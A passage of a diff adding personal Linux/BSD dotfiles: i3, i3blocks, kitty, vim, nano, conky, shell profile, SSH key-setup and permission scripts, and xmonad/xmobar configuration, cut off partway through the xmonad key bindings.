+bindsym $mod+Shift+8 move container to workspace $workspace8
+bindsym $mod+Shift+9 move container to workspace $workspace9
+bindsym $mod+Shift+0 move container to workspace $workspace10
+
+# switch to workspace
+bindsym $mod+1 workspace $workspace1
+bindsym $mod+2 workspace $workspace2
+bindsym $mod+3 workspace $workspace3
+bindsym $mod+4 workspace $workspace4
+bindsym $mod+5 workspace $workspace5
+bindsym $mod+6 workspace $workspace6
+bindsym $mod+7 workspace $workspace7
+bindsym $mod+8 workspace $workspace8
+bindsym $mod+9 workspace $workspace9
+bindsym $mod+0 workspace $workspace10
+
+# reload the configuration file
+bindsym $mod+Shift+c reload
+
+# restart i3 inplace
+bindsym $mod+Shift+r restart
+
+# exit i3
+bindsym $mod+Shift+e exec ~/.i3/scripts/exit_menu.sh
+
+
+# resize window (you can also use the mouse for that)
+mode "resize" {
+ bindsym h resize shrink width 10 px or 10 ppt
+ bindsym j resize grow height 10 px or 10 ppt
+ bindsym k resize shrink height 10 px or 10 ppt
+ bindsym l resize grow width 10 px or 10 ppt
+
+ bindsym Left resize shrink width 10 px or 10 ppt
+ bindsym Down resize grow height 10 px or 10 ppt
+ bindsym Up resize shrink height 10 px or 10 ppt
+ bindsym Right resize grow width 10 px or 10 ppt
+
+ bindsym Return mode "default"
+ bindsym Escape mode "default"
+}
+
+# resize mode
+bindsym $mod+r mode "resize"
+
+set $bg-colour #441144
+set $inactive-bg-colour #331133
+set $text-colour #ff1174
+set $inactive-text-colour #c40008
+set $urgent-bg-colour #E53935
+
+# window colors
+#Border. Background. Text. Indicator. Colours.
+client.focused $bg-colour $bg-colour $text-colour #00ff00
+client.unfocused $inactive-bg-colour $inactive-bg-colour $inactive-text-colour #00ff00
+client.focused_inactive $inactive-bg-colour $inactive-bg-colour $inactive-text-colour #00ff00
+client.urgent $urgent-bg-colour $urgent-bg-colour $text-colour #00ff00
+
+# bar
+bar {
+ #status_command i3blocks -c ~/.config/i3/i3blocks.conf
+ status_command i3status -c ~/.config/i3/i3status.conf
+ position top
+ colors {
+ background $bg-colour
+ separator #757575
+ # border background text
+ focused_workspace $bg-colour $bg-colour $text-colour
+ inactive_workspace $inactive-bg-colour $inactive-bg-colour $inactive-text-colour
+ urgent_workspace $urgent-bg-colour $urgent-bg-colour $text-colour
+ }
+}
+
+
+# sticky window
+bindsym $mod+Shift+s sticky toggle
+
+# floating
+for_window [class="qTox"] floating enable
+for_window [class="Pavucontrol"] floating enable
+for_window [class="Skype"] floating enable
+
+# default workspaces
+assign [class="Spotify"] $workspace10
+assign [class="Skype"] $workspace9
+assign [class="qTox"] $workspace9
+
+# workspace default monitors
+workspace $workspace1 output DVI-I-2
+workspace $workspace2 output DVI-I-2
+workspace $workspace3 output DVI-I-2
+workspace $workspace4 output DVI-I-2
+workspace $workspace5 output DVI-I-2
+workspace $workspace6 output DVI-I-2
+workspace $workspace9 output DVI-I-2
+workspace $workspace10 output DVI-I-2
+
+# key-bindings
+#bindsym XF86AudioRaiseVolume exec --no-startup-id pactl set-sink-volume 2 +5% #increase sound volume
+#bindsym XF86AudioLowerVolume exec --no-startup-id pactl set-sink-volume 2 -5% #decrease sound volume
+#bindsym XF86AudioMute exec --no-startup-id pactl set-sink-mute 2 toggle # mute sound
+#bindsym XF86AudioPlay exec playerctl play-pause
+#bindsym XF86AudioPause exec playerctl play-pause
+#bindsym XF86AudioNext exec playerctl next
+#bindsym XF86AudioPrev exec playerctl previous
+bindsym $mod+Shift+f exec firefox
+bindsym $mod+Shift+l exec libreoffice
+bindsym $mod+Return exec urxvt
+bindsym $mod+Shift+q kill
+bindsym Print exec xfce4-screenshot
+bindsym $mod+d exec rofi -show drun -lines 3 -eh 2 -width 60 -padding 20 -opacity "85" -bw 0 -bc "$bg-colour" -bg "$bg-colour" -fg "$text-colour" -hlbg "$bg-colour" -hlfg "#955995" -font "Sans 11"
+
+# startup
+#exec_always xrandr --output DisplayPort-0 --off --output DisplayPort-1 --mode 1280x1024 --pos 1920x0 --rotate normal --output HDMI-A-0 --off --output HDMI-A-1 --off --output DVI-D-0 --primary --mode 1920x1080 --pos 0x0 --rotate normal
+#exec_always --no-startup-id feh --bg-scale ~/Pictures/GNU/GNU_1920_1080_Dark.png
+exec_always --no-startup-id feh --bg-scale ~/Pictures/Wallpapers/wallpaper.jpg
+exec redshift -O 4500
+exec setxkbmap gb
+
+#exec --no-startup-id compton -f
blob - /dev/null
blob + 52fe79af1820247700dc93d2ff47ff75c51a6ce5 (mode 755)
--- /dev/null
+++ .config/i3/i3blocks.conf
+# _ ____ _ _ _ _____ __ _
+# (_)___ \| | | | | | / ____| / _(_)
+# _ __) | |__ | | ___ ___| | _____ | | ___ _ __ | |_ _ __ _
+# | ||__ <| '_ \| |/ _ \ / __| |/ / __| | | / _ \| '_ \| _| |/ _` |
+# | |___) | |_) | | (_) | (__| <\__ \ | |___| (_) | | | | | | | (_| |
+# |_|____/|_.__/|_|\___/ \___|_|\_\___/ \_____\___/|_| |_|_| |_|\__, |
+# __/ |
+# |___/
+
+# Global properties
+#
+# The top properties below are applied to every block, but can be overridden.
+# Each block command defaults to the script name to avoid boilerplate.
+command=/usr/share/i3blocks/$BLOCK_NAME
+separator_block_width=1
+markup=none
+
+# Volume indicator
+#
+# The first parameter sets the step (and units to display)
+# The second parameter overrides the mixer selection
+# See the script for details.
+#[volume]
+#label=VOL
+#label=♪
+#instance=Master
+#instance=PCM
+#interval=1
+#signal=10
+#command=~/.i3/scripts/volume
+
+# Memory usage
+#
+# The type defaults to "mem" if the instance is not specified.
+[memory]
+label=
+color=#999999
+separator=false
+interval=30
+
+#[memory]
+#label=SWAP
+#instance=swap
+#separator=false
+#interval=30
+
+# Disk usage
+#
+# The directory defaults to $HOME if the instance is not specified.
+# The script may be called with a optional argument to set the alert
+# (defaults to 10 for 10%).
+[disk]
+label=
+color=#999999
+instance=/
+interval=30
+
+# Network interface monitoring
+#
+# If the instance is not specified, use the interface used for default route.
+# The address can be forced to IPv4 or IPv6 with -4 or -6 switches.
+[iface]
+instance=wlo1
+label=
+color=#008800
+interval=10
+separator=false
+
+[wifi]
+label=
+instance=wlo1
+interval=10
+separator=false
+
+#[bandwidth]
+#label=
+#instance=wlo1
+#interval=5
+
+# CPU usage
+#
+# The script may be called with -w and -c switches to specify thresholds,
+# see the script for details.
+#[cpu_usage]
+#label=CPU
+#interval=10
+#min_width=CPU: 100.00%
+#separator=false
+
+#[load_average]
+#label=Load =
+#interval=10
+
+# Temperature
+#
+# Support multiple chips, though lm-sensors.
+# The script may be called with -w and -c switches to specify thresholds,
+# see the script for details.
+#[temperature]
+#label=TEMP
+#interval=10
+
+# Battery indicator
+#
+# The battery instance defaults to 0.
+[battery]
+label=BAT
+label=
+color=#999999
+instance=0
+interval=30
+
+# Date Time
+#
+[time]
+color=#FF0000
+command=date '+%Y-%m-%d %H:%M:%S'
+interval=1
+
+# Generic media player support
+#
+# This displays "ARTIST - SONG" if a music is playing.
+# Supported players are: spotify, vlc, audacious, xmms2, mplayer, and others.
+#[mediaplayer]
+#instance=spotify
+#interval=5
+#signal=10
+
+# OpenVPN support
+#
+# Support multiple VPN, with colors.
+#[openvpn]
+#interval=20
+
+# Key indicators
+#
+# Add the following bindings to i3 config file:
+#
+# bindsym --release Caps_Lock exec pkill -SIGRTMIN+11 i3blocks
+# bindsym --release Num_Lock exec pkill -SIGRTMIN+11 i3blocks
+#[keyindicator]
+#instance=CAPS
+#interval=once
+#signal=11
+
+#[keyindicator]
+#instance=NUM
+#interval=once
+#signal=11
blob - /dev/null
blob + bd3866ebf172fdd570b50cb1ebf2eb8bff388d7d (mode 755)
--- /dev/null
+++ .config/i3/scripts/keyboard-up.sh
+#!/bin/sh
+
+if [ ! -f kbdvar.txt ]; then
+ touch kbdvar.txt
+ echo 0 > kbdvar.txt
+fi
+
+var=`cat kbdvar.txt`
+
+if [ $var -gt "255" ]; then
+ var=255
+elif [ $var -lt "0" ]; then
+ var=0
+fi
+
+let "var=var+12"
+echo "$var" > kbdvar.txt
+
+cat kbdvar.txt > /sys/class/leds/spi\:\:kbd_backlight/brightness
+
+exit 0
blob - /dev/null
blob + 34c752eddcee4b7fad34f50691379f33eb866c3c (mode 755)
--- /dev/null
+++ .config/kitty/kitty.conf
+# vim:fileencoding=utf-8:ft=conf
+
+# Fully featured
+font_family monaco
+italic_font auto
+bold_font auto
+bold_italic_font auto
+
+# Font size (in pts)
+font_size 11.0
+
+# The amount the font size is changed by (in pts) when increasing/decreasing
+# the font size in a running terminal.
+font_size_delta 2
+
+# Nord theme - ported from https://github.com/arcticicestudio/nord-hyper
+foreground #ff0000
+background #000000
+selection_foreground #000000
+selection_background #FFFACD
+url_color #0087BD
+cursor #660000
+
+# black
+color0 #3B4252
+color8 #4C566A
+
+# red
+color1 #BF616A
+color9 #BF616A
+
+# green
+color2 #A3BE8C
+color10 #A3BE8C
+
+# yellow
+color3 #EBCB8B
+color11 #EBCB8B
+
+# blue
+color4 #81A1C1
+color12 #81A1C1
+
+# magenta
+color5 #B48EAD
+color13 #B48EAD
+
+# cyan
+color6 #88C0D0
+color14 #8FBCBB
+
+# white
+color7 #E5E9F0
+color15 #B48EAD
+
+# Mouse & cursor
+# cursor_blink_interval 1.0
+# cursor_stop_blinking_after 4.0
+# one of (block, beam, underline)
+cursor_shape beam
+mouse_hide_wait 3.0
+
+scrollback_lines 10000
+scrollback_pager less +G -R
+scrollback_in_new_tab no
+
+# Wheel scroll multiplier (modify the amount scrolled by the mouse wheel). Use negative
+# numbers to change scroll direction.
+wheel_scroll_multiplier 5.0
+
+# The interval between successive clicks to detect double/triple clicks (in seconds)
+click_interval 0.5
+
+#Select for double clicking
+select_by_word_characters :@-./_~?&=%+#
+
+#don't care, use i3.
+focus_follows_mouse yes
+remember_window_size no
+enabled_layouts *
+initial_window_width 640
+initial_window_height 400
+
+# 10 yields ~100 FPS which is more than sufficient for most uses.
+repaint_delay 10
+
+# Delay (in milliseconds) before input from the program running in the terminal
+# is processed.
+input_delay 3
+
+#bell
+visual_bell_duration 0.1
+enable_audio_bell yes
+
+# The modifier keys to press when clicking with the mouse on URLs to open the URL
+open_url_modifiers cmd
+open_url_with default
+
+# Choose whether to use the system implementation of wcwidth() (used to
+# control how many cells a character is rendered in). If you use the system
+# implementation, then kitty and any programs running in it will agree. The
+# problem is that system implementations often are based on outdated unicode
+# standards and get the width of many characters, such as emoji, wrong. So if
+# you are using kitty with programs that have their own up-to-date wcwidth()
+# implementation, set this option to no.
+use_system_wcwidth yes
+
+# The value of the TERM environment variable to set
+term xterm-kitty
+
+#window decorations
+window_border_width 1
+window_padding_width 0
+active_border_color #00ff00
+inactive_border_color #cccccc
+
+# Tab-bar colors
+active_tab_foreground #000
+active_tab_background #eee
+inactive_tab_foreground #444
+inactive_tab_background #999
+
+
+# Key mappings
+
+# Clipboard
+map cmd+v paste_from_clipboard
+map ctrl+shift+s paste_from_selection
+map cmd+c copy_to_clipboard
+map shift+insert paste_from_selection
+map ctrl+shift+o pass_selection_to_program google-chrome
+# map ctrl+shift+o pass_selection_to_program
+
+# Scrolling
+map ctrl+shift+up scroll_line_up
+map ctrl+shift+down scroll_line_down
+map ctrl+shift+k scroll_line_up
+map ctrl+shift+j scroll_line_down
+map ctrl+shift+page_up scroll_page_up
+map ctrl+shift+page_down scroll_page_down
+map ctrl+shift+home scroll_home
+map ctrl+shift+end scroll_end
+map ctrl+shift+h show_scrollback
+
+# Window management
+map ctrl+shift+enter new_window
+map ctrl+shift+w close_window
+map ctrl+shift+] next_window
+map ctrl+shift+[ previous_window
+map ctrl+shift+f move_window_forward
+map ctrl+shift+b move_window_backward
+map ctrl+shift+` move_window_to_top
+map ctrl+shift+1 first_window
+map ctrl+shift+2 second_window
+map ctrl+shift+3 third_window
+map ctrl+shift+4 fourth_window
+map ctrl+shift+5 fifth_window
+map ctrl+shift+6 sixth_window
+map ctrl+shift+7 seventh_window
+map ctrl+shift+8 eighth_window
+map ctrl+shift+9 ninth_window
+map ctrl+shift+0 tenth_window
+# You can also open a new window running an arbitrary program, for example:
+# map ctrl+shift+y new_window mutt
+# You can also pass the current selection to the new program by using the @selection placeholder
+# map ctrl+shift+y new_window less @selection
+# Finally, you can even send the contents of the current screen + history buffer as stdin using
+# the placeholders @text (which is the plain text) and @ansi (which includes text styling escape codes)
+# For example, the following command opens the scrollback buffer in less in a new window.
+# map ctrl+shift+y new_window @ansi less +G -R
+
+
+# Tab management
+map cmd+right next_tab
+map cmd+left previous_tab
+map cmd+t new_tab
+map cmd+w close_tab
+map ctrl+shift+l next_layout
+map ctrl+shift+. move_tab_forward
+map ctrl+shift+, move_tab_backward
+# Just as with new_window above, you can also pass the name of arbitrary
+# commands to run when using new_tab.
+
+# Miscellaneous
+map cmd+equal increase_font_size
+map cmd+minus decrease_font_size
+map cmd+backspace restore_font_size
+map cmd+enter toggle_fullscreen
+
+background_opacity 0.6
+dynamic_background_opacity yes
blob - /dev/null
blob + 1c28cadac0e1f747b5d4521cbf309fc6a5e436f8 (mode 755)
--- /dev/null
+++ .config/vim/mswin
+" Set options and add mapping such that Vim behaves a lot like MS-Windows
+"
+" Maintainer: The Vim Project <https://github.com/vim/vim>
+" Last Change: 2023 Aug 10
+" Former Maintainer: Bram Moolenaar <[email protected]>
+
+" Bail out if this isn't wanted.
+if exists("g:skip_loading_mswin") && g:skip_loading_mswin
+ finish
+endif
+
+" set the 'cpoptions' to its Vim default
+if 1 " only do this when compiled with expression evaluation
+ let s:save_cpo = &cpoptions
+endif
+set cpo&vim
+
+" set 'selection', 'selectmode', 'mousemodel' and 'keymodel' for MS-Windows
+behave mswin
+
+" backspace and cursor keys wrap to previous/next line
+set backspace=indent,eol,start whichwrap+=<,>,[,]
+
+" backspace in Visual mode deletes selection
+vnoremap <BS> d
+
+if has("clipboard")
+ " CTRL-X and SHIFT-Del are Cut
+ vnoremap <C-X> "+x
+ vnoremap <S-Del> "+x
+
+ " CTRL-C and CTRL-Insert are Copy
+ vnoremap <C-C> "+y
+ vnoremap <C-Insert> "+y
+
+ " CTRL-V and SHIFT-Insert are Paste
+ map <C-V> "+gP
+ map <S-Insert> "+gP
+
+ cmap <C-V> <C-R>+
+ cmap <S-Insert> <C-R>+
+endif
+
+" Pasting blockwise and linewise selections is not possible in Insert and
+" Visual mode without the +virtualedit feature. They are pasted as if they
+" were characterwise instead.
+" Uses the paste.vim autoload script.
+" Use CTRL-G u to have CTRL-Z only undo the paste.
+
+if 1
+ exe 'inoremap <script> <C-V> <C-G>u' . paste#paste_cmd['i']
+ exe 'vnoremap <script> <C-V> ' . paste#paste_cmd['v']
+endif
+
+imap <S-Insert> <C-V>
+vmap <S-Insert> <C-V>
+
+" Use CTRL-Q to do what CTRL-V used to do
+noremap <C-Q> <C-V>
+
+" Use CTRL-S for saving, also in Insert mode (<C-O> doesn't work well when
+" using completions).
+noremap <C-S> :update<CR>
+vnoremap <C-S> <C-C>:update<CR>
+inoremap <C-S> <Esc>:update<CR>gi
+
+" For CTRL-V to work autoselect must be off.
+" On Unix we have two selections, autoselect can be used.
+if !has("unix")
+ set guioptions-=a
+endif
+
+" CTRL-Z is Undo; not in cmdline though
+noremap <C-Z> u
+inoremap <C-Z> <C-O>u
+
+" CTRL-Y is Redo (although not repeat); not in cmdline though
+noremap <C-Y> <C-R>
+inoremap <C-Y> <C-O><C-R>
+
+" Alt-Space is System menu
+if has("gui")
+ noremap <M-Space> :simalt ~<CR>
+ inoremap <M-Space> <C-O>:simalt ~<CR>
+ cnoremap <M-Space> <C-C>:simalt ~<CR>
+endif
+
+" CTRL-A is Select all
+noremap <C-A> gggH<C-O>G
+inoremap <C-A> <C-O>gg<C-O>gH<C-O>G
+cnoremap <C-A> <C-C>gggH<C-O>G
+onoremap <C-A> <C-C>gggH<C-O>G
+snoremap <C-A> <C-C>gggH<C-O>G
+xnoremap <C-A> <C-C>ggVG
+
+" CTRL-Tab is Next window
+noremap <C-Tab> <C-W>w
+inoremap <C-Tab> <C-O><C-W>w
+cnoremap <C-Tab> <C-C><C-W>w
+onoremap <C-Tab> <C-C><C-W>w
+
+" CTRL-F4 is Close window
+noremap <C-F4> <C-W>c
+inoremap <C-F4> <C-O><C-W>c
+cnoremap <C-F4> <C-C><C-W>c
+onoremap <C-F4> <C-C><C-W>c
+
+if has("gui")
+ " CTRL-F is the search dialog
+ noremap <expr> <C-F> has("gui_running") ? ":promptfind\<CR>" : "/"
+ inoremap <expr> <C-F> has("gui_running") ? "\<C-\>\<C-O>:promptfind\<CR>" : "\<C-\>\<C-O>/"
+ cnoremap <expr> <C-F> has("gui_running") ? "\<C-\>\<C-C>:promptfind\<CR>" : "\<C-\>\<C-O>/"
+
+ " CTRL-H is the replace dialog,
+ " but in console, it might be backspace, so don't map it there
+ nnoremap <expr> <C-H> has("gui_running") ? ":promptrepl\<CR>" : "\<C-H>"
+ inoremap <expr> <C-H> has("gui_running") ? "\<C-\>\<C-O>:promptrepl\<CR>" : "\<C-H>"
+ cnoremap <expr> <C-H> has("gui_running") ? "\<C-\>\<C-C>:promptrepl\<CR>" : "\<C-H>"
+endif
+
+" restore 'cpoptions'
+set cpo&
+if 1
+ let &cpoptions = s:save_cpo
+ unlet s:save_cpo
+endif
blob - /dev/null
blob + 807a6a3e5022146df92c022f46d54ac10f22a41e (mode 755)
--- /dev/null
+++ .config/vim/vimrc
+" Set colour scheme.
+colorscheme torte
+" Enable colour coding for Vim.
+syntax on
+" Set file encoding from ANSI to UTF-8.
+set encoding=utf-8
+set fileencoding=utf-8
+" Fix potential Vim backspace issue.
+set backspace=2
+" Set tab as 2 spaces.
+set tabstop=2 softtabstop=0 expandtab shiftwidth=2 smarttab
+" Enable line numbers.
+set number
blob - /dev/null
blob + d4e8c6bb8dcc3c15fabb0c81181f8b331057e6dd (mode 755)
--- /dev/null
+++ .conkyrc
+--[[
+ .conkyrc config
+]]
+
+conky.config = {
+ alignment = 'top_right',
+ background = false,
+ border_width = 1,
+ cpu_avg_samples = 2,
+ default_color = '#61b0e9',
+ default_outline_color = 'white',
+ default_shade_color = 'white',
+ draw_borders = true,
+ draw_graph_borders = true,
+ draw_outline = false,
+ draw_shades = false,
+ use_xft = true,
+ font = 'Noto Mono:Regular:size=9',
+ gap_x = 1366,
+ gap_y = 32,
+ minimum_height = 5,
+ minimum_width = 5,
+ net_avg_samples = 2,
+ no_buffers = true,
+ out_to_console = false,
+ out_to_stderr = false,
+ extra_newline = false,
+ own_window = true,
+ own_window_class = 'Conky',
+ own_window_type = 'desktop',
+ -- own_window_transparent = true,
+ own_window_hints = 'undecorated,sticky,skip_taskbar,skip_pager,below',
+ own_window_argb_visual = true,
+ stippled_borders = 0,
+ update_interval = 1.0,
+ uppercase = false,
+ use_spacer = 'none',
+ show_graph_scale = false,
+ show_graph_range = false
+}
+
+conky.text = [[
+$nodename - $sysname $kernel on $machine
+${hr 2}
+${color #063c96}Uptime:$color $uptime
+${color #063c96}Frequency:$color $freq_g GHz
+${color #063c96}RAM Usage:$color $mem/$memmax - $memperc% ${membar 4}
+${color #063c96}Swap Usage:$color $swap/$swapmax - $swapperc% ${swapbar 4}
+${color #063c96}CPU Usage:$color $cpu% ${cpubar 4}
+${color #063c96}Processes:$color $processes ${color #063c96}Running:$color $running_processes
+$hr
+${color #063c96}Name PID CPU% MEM%
+${color #0850c9} ${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}
+${color #0850c9} ${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}
+${color #0850c9} ${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}
+${color #0850c9} ${top name 4} ${top pid 4} ${top cpu 4} ${top mem 4}
+${color #0850c9} ${top name 5} ${top pid 5} ${top cpu 5} ${top mem 5}
+${color #0850c9} ${top name 6} ${top pid 6} ${top cpu 6} ${top mem 6}
+${color #0850c9} ${top name 7} ${top pid 7} ${top cpu 7} ${top mem 7}
+${color #0850c9} ${top name 8} ${top pid 8} ${top cpu 8} ${top mem 8}
+${color #0850c9} ${top name 9} ${top pid 9} ${top cpu 9} ${top mem 9}
+${color #0850c9} ${top name 10} ${top pid 10} ${top cpu 10} ${top mem 10}
+$hr
+${color #063c96}File systems:
+ / $color${fs_used /}/${fs_size /} ${fs_bar 6 /}
+${color #063c96}Networking:
+Up:$color ${upspeed enp4s0} ${color #063c96} - Down: $color ${downspeed enp4s0}
+]]
blob - /dev/null
blob + c2a7f483b5c38d72bd108db624a63beba150e361 (mode 755)
--- /dev/null
+++ .nanorc
+# _ __ __ _ _ __ ___ _ __ ___
+# | '_ \ / _` | '_ \ / _ \| '__/ __|
+# _| | | | (_| | | | | (_) | | | (__
+# (_)_| |_|\__,_|_| |_|\___/|_| \___|
+
+include /usr/share/nano/*.nanorc
+
+set autoindent
+set speller "aspell -x -c "
+set tabsize 2
+set tabstospaces
blob - /dev/null
blob + c7e4a7cc245232d78579d31b6476a351c9dd9269 (mode 755)
--- /dev/null
+++ .profile
+# $OpenBSD: dot.profile,v 1.8 2022/08/10 07:40:37 tb Exp $
+#
+# sh/ksh initialization
+
+PATH=$HOME/bin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/X11R6/bin:/usr/local/bin:/usr/local/sbin
+export PATH HOME TERM
+
+#HISTSIZE=1000
+#HISTFILE=.ksh_history
+#export HISTSIZE HISTFILE
+
+export PS1=$(print '\033[33m\h\033[32m\$\033[00m ')
+#root - export PS1=$(print '\033[33m\h\033[31m\$\033[00m ')
+export EDITOR="vim"
+## Aliases break without this line.
+alias doas='doas '
+alias ls='colorls -G'
+## Fix arrow-keys.
+set -o emacs
blob - /dev/null
blob + 035b5843a6de86761238cd75b9087c8ca8bea7bc (mode 755)
--- /dev/null
+++ .ssh/ssh_key.sh
+#!/bin/bash
+
+ssh-keygen -o -t rsa -b 8192 -a 128 -C "" -f ~/.ssh/id_rsa
blob - /dev/null
blob + 7651fb42973c23d985e4f91cdd0af97323d303e6 (mode 755)
--- /dev/null
+++ .ssh/ssh_permissions.sh
+#!/bin/bash
+
+chmod 700 ~/.ssh
+chmod 644 ~/.ssh/authorized_keys
+chmod 600 ~/.ssh/id_rsa
blob - /dev/null
blob + 4cf5af9ea39a80c98efca157b9f0914ae79e50b8 (mode 755)
--- /dev/null
+++ .vimrc
+" Main '.vimrc'.
+source ~/.config/vim/vimrc
+" Remap a few keys for Windows behaviour.
+source ~/.config/vim/mswin.vim
blob - /dev/null
blob + c8553324c93de6d01088376ceb10d3f99a51abe7 (mode 755)
--- /dev/null
+++ .xmonad/xmobar.hs
+-- _ _
+-- | | | |
+-- __ ___ __ ___ ___ | |__ __ _ _ __| |__ ___
+-- \ \/ / '_ ` _ \ / _ \| '_ \ / _` | '__| '_ \/ __|
+-- > <| | | | | | (_) | |_) | (_| | |_ | | | \__ \
+-- /_/\_\_| |_| |_|\___/|_.__/ \__,_|_(_)|_| |_|___/
+--
+
+-- xmobar config used by Vic Fryzel
+-- Author: Vic Fryzel
+-- http://github.com/vicfryzel/xmonad-config
+
+-- This is setup for a single 1920x1080 monitor
+Config {
+ font = "xft:Fixed-8",
+ bgColor = "#000000",
+ fgColor = "#990000",
+ position = Static { xpos = 0, ypos = 0, width = 1920, height = 14 },
+ lowerOnStart = True,
+ commands = [
+ Run Weather "KPAO" ["-t","<tempF>F <skyCondition>","-L","64","-H","77","-n","#CEFFAC","-h","#FFB6B0","-l","#96CBFE"] 36000,
+ Run MultiCpu ["-t","Cpu: <total0> <total1> <total2> <total3>","-L","30","-H","60","-h","#FFB6B0","-l","#CEFFAC","-n","#FFFFCC","-w","3"] 10,
+ Run Memory ["-t","Mem: <usedratio>%","-H","8192","-L","4096","-h","#FFB6B0","-l","#CEFFAC","-n","#FFFFCC"] 10,
+ Run Swap ["-t","Swap: <usedratio>%","-H","1024","-L","512","-h","#FFB6B0","-l","#CEFFAC","-n","#FFFFCC"] 10,
+ Run Network "enp4s0" ["-t","Net: <rx>, <tx>","-H","200","-L","10","-h","#FFB6B0","-l","#CEFFAC","-n","#FFFFCC"] 10,
+ Run Date "%a %b %_d %l:%M" "date" 10,
+ Run StdinReader
+ ],
+ sepChar = "%",
+ alignSep = "}{",
+ template = "%StdinReader% }{ %multicpu% %memory% %swap% %em1% <fc=#FFFFCC>%date%</fc> %KPAO%"
+}
blob - /dev/null
blob + 2188f10904879b1f81ddf45a9d9a64775b0e5b02 (mode 755)
--- /dev/null
+++ .xmonad/xmonad.hs
+-- _ _
+-- | | | |
+-- __ ___ __ ___ ___ _ __ __ _ __| | | |__ ___
+-- \ \/ / '_ ` _ \ / _ \| '_ \ / _` |/ _` | | '_ \/ __|
+-- > <| | | | | | (_) | | | | (_| | (_| |_| | | \__ \
+-- /_/\_\_| |_| |_|\___/|_| |_|\__,_|\__,_(_)_| |_|___/
+--
+
+-- xmonad config used by Vic Fryzel
+-- Author: Vic Fryzel
+-- http://github.com/vicfryzel/xmonad-config
+
+import System.IO
+import System.Exit
+import XMonad
+import XMonad.Hooks.DynamicLog
+import XMonad.Hooks.ManageDocks
+import XMonad.Hooks.ManageHelpers
+import XMonad.Hooks.SetWMName
+import XMonad.Layout.Fullscreen
+import XMonad.Layout.NoBorders
+import XMonad.Layout.Spiral
+import XMonad.Layout.Tabbed
+import XMonad.Layout.ThreeColumns
+import XMonad.Util.Run(spawnPipe)
+import XMonad.Util.EZConfig(additionalKeys)
+import Graphics.X11.ExtraTypes.XF86
+import qualified XMonad.StackSet as W
+import qualified Data.Map as M
+
+
+------------------------------------------------------------------------
+-- Terminal
+-- The preferred terminal program, which is used in a binding below and by
+-- certain contrib modules.
+--
+myTerminal = "urxvt"
+
+-- The command to lock the screen or show the screensaver.
+myScreensaver = "xscreensaver"
+
+-- The command to take a selective screenshot, where you select
+-- what you'd like to capture on the screen.
+mySelectScreenshot = "select-screenshot"
+
+-- The command to take a fullscreen screenshot.
+myScreenshot = "screenshot"
+
+-- The command to use as a launcher, to launch commands that don't have
+-- preset keybindings.
+myLauncher = "dmenu"
+
+
+------------------------------------------------------------------------
+-- Workspaces
+-- The default number of workspaces (virtual screens) and their names.
+--
+myWorkspaces = ["1:Terminal","2:Firefox","3:Programming","4:VirtualBox","5:VLC", "6:Steam"] ++ map show [7..9]
+
+
+------------------------------------------------------------------------
+-- Window rules
+-- Execute arbitrary actions and WindowSet manipulations when managing
+-- a new window. You can use this to, for example, always float a
+-- particular program, or have a client always appear on a particular
+-- workspace.
+--
+-- To find the property name associated with a program, use
+-- > xprop | grep WM_CLASS
+-- and click on the client you're interested in.
+--
+-- To match on the WM_NAME, you can use 'title' in the same way that
+-- 'className' and 'resource' are used below.
+--
+myManageHook = composeAll
+ [ className =? "firefox" --> doShift "2:Firefox"
+ , className =? "urxvt" --> doFloat
+ , resource =? "desktop_window" --> doIgnore
+ , className =? "Galculator" --> doFloat
+ , className =? "Steam" --> doFloat
+ , className =? "Gimp" --> doFloat
+ , resource =? "gpicview" --> doFloat
+ , className =? "MPlayer" --> doFloat
+ , className =? "VirtualBox" --> doShift "4:VirtualBox"
+ , className =? "vlc" --> doShift "5:VLC"
+ , className =? "stalonetray" --> doIgnore
+ , isFullscreen --> (doF W.focusDown <+> doFullFloat)]
+
+
+------------------------------------------------------------------------
+-- Layouts
+-- You can specify and transform your layouts by modifying these values.
+-- If you change layout bindings be sure to use 'mod-shift-space' after
+-- restarting (with 'mod-q') to reset your layout state to the new
+-- defaults, as xmonad preserves your old layout settings by default.
+--
+-- The available layouts. Note that each layout is separated by |||,
+-- which denotes layout choice.
+--
+myLayout = avoidStruts (
+ ThreeColMid 1 (3/100) (1/2) |||
+ Tall 1 (3/100) (1/2) |||
+ Mirror (Tall 1 (3/100) (1/2)) |||
+ tabbed shrinkText tabConfig |||
+ Full |||
+ spiral (6/7)) |||
+ noBorders (fullscreenFull Full)
+
+
+------------------------------------------------------------------------
+-- Colors and borders
+-- Currently based on the ir_black theme.
+--
+myNormalBorderColor = "#7c7c7c"
+myFocusedBorderColor = "#ffb6b0"
+
+-- Colors for text and backgrounds of each tab when in "Tabbed" layout.
+tabConfig = defaultTheme {
+ activeBorderColor = "#7C7C7C",
+ activeTextColor = "#CEFFAC",
+ activeColor = "#000000",
+ inactiveBorderColor = "#7C7C7C",
+ inactiveTextColor = "#EEEEEE",
+ inactiveColor = "#000000"
+}
+
+-- Color of current window title in xmobar.
+xmobarTitleColor = "#FFB6B0"
+
+-- Color of current workspace in xmobar.
+xmobarCurrentWorkspaceColor = "#CEFFAC"
+
+-- Width of the window border in pixels.
+myBorderWidth = 1
+
+
+------------------------------------------------------------------------
+-- Key bindings
+--
+-- modMask lets you specify which modkey you want to use. The default
+-- is mod1Mask ("left alt"). You may also consider using mod3Mask
+-- ("right alt"), which does not conflict with emacs keybindings. The
+-- "windows key" is usually mod4Mask.
+--
+myModMask = mod4Mask
+
+myKeys conf@(XConfig {XMonad.modMask = modMask}) = M.fromList $
+ ----------------------------------------------------------------------
+ -- Custom key bindings
+ --
+
+ -- Start a terminal. Terminal to start is specified by myTerminal variable.
+ [ ((modMask, xK_Return),
+ spawn $ XMonad.terminal conf)
+
+ -- Lock the screen using command specified by myScreensaver.
+ , ((modMask .|. controlMask, xK_l),
+ spawn myScreensaver)
+
+ -- Spawn the launcher using command specified by myLauncher.
+ -- Use this to launch programs without a key binding.
+ , ((modMask, xK_p),
+ spawn myLauncher)
+
+ -- Take a selective screenshot using the command specified by mySelectScreenshot.
+ , ((modMask .|. shiftMask, xK_p),
+ spawn mySelectScreenshot)
+
+ -- Take a full screenshot using the command specified by myScreenshot.
+ , ((modMask .|. controlMask .|. shiftMask, xK_p),
+ spawn myScreenshot)
+
+ -- Mute volume.
+ , ((0, xF86XK_AudioMute),
